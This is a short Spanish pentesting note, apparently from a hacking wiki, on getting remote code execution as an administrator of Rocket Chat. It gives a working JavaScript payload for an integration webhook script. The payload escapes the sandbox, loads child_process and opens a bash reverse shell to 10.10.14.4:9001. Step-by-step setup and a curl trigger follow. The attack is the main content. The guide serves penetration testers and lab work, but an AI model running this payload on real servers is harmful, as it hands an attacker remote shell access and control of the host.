Rocket Chat

RCE

Si eres administrador dentro de Rocket Chat, puedes obtener RCE.

• Ve a Integrations y selecciona New Integration y elige cualquiera: Incoming WebHook o Outgoing WebHook.
• /admin/integrations/incoming

• Según la docs, ambos utilizan ES2015 / ECMAScript 6 (básicamente JavaScript) para procesar los datos. Así que obtengamos un rev shell para javascript como:

const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configura el WebHook (el canal y la publicación como nombre de usuario deben existir):

• Configura el script del WebHook:

• Guarda los cambios
• Obtén la URL del WebHook generada:

• Llama a la URL con curl y deberías recibir el rev shell